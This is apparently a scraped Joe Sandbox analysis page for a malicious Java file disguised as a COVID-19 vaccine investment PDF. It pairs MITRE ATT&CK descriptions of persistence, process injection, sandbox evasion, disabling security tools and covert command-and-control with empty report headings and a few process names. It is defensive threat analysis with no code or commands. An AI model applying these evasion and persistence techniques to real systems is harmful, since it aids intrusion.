Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Sigma Overview

Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: cmd.exe PID: 4952 Parent PID: 5664

General

Analysis Process: 7za.exe PID: 384 Parent PID: 4952

General

Analysis Process: cmd.exe PID: 4120 Parent PID: 5664

General

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre